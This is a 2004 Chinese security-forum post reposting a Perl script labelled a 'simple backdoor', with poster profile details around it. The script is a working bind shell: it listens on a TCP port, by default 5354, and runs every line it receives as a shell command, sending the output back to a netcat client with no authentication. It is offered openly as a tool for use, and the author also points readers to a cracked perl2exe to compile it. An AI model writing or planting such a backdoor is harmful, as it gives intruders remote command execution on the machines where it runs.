[转载]使用Perl制造的简易后门程序

冰血封情

老林

团队决策人

Rank: 9 Rank: 9 Rank: 9

E.S.T运营责任人

帖子: 6831
精华: 834
积分: 36069
阅读权限: 255
性别: 男
来自: 中国
在线时间: 599 小时
注册时间: 2004-6-25
最后登录: 2008-12-3

优秀管理奖资料收集奖原创技术奖核心建议奖

发短消息
加为好友
当前离线

楼主大中小发表于 2004-7-11 03:33 只看该作者

[转载]使用Perl制造的简易后门程序

文章作者：demonalex_at_cnean.net

复制内容到剪贴板

代码:

#!usr/bin/perl -w

print"**************************\n";

print"* CopyRight By DemonAlex *\n";

print"**************************\n";

print"Example:demon.exe [port]\n";

print"If you don&#39;t define port,it will run tcp5354\n";

print"Please nc -nvv ip 5354.\n";

use IO::Handle;

use Socket;

$port=$ARGV[0] || 5354;

$address=sockaddr_in($port,INADDR_ANY);

socket(SERVER,AF_INET,SOCK_STREAM,6);

bind(SERVER,$address);

listen(SERVER,10);

while(1){

next unless accept(CLIENT,SERVER);

CLIENT->autoflush(1);

#读写部分

while(1){

$b=<CLIENT>;

next unless defined $b;

print CLIENT "$b\n";

chop($b);

open(SHOW,"$b|");

@c=<SHOW>;

print CLIENT "@c";

}

#读写部分

close SHOW;

close CLIENT;

}

close SERVER;

exit 1;

#简易TCP后门，使用NC做客户端，默认端口为TCP5354
#欢迎到我的主页http://demonalex.co.tv去下载破解版的perl2exe来编译此程序
#还在测试阶段，有问题请email:demonalex_at_cnean.net

qq310926是我唯一用号，除此之外有其他号码号自称邪八冰血封情，则非本人。

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 开源代码收集{ Software Source Code } » [转载]使用Perl制造的简易后门程序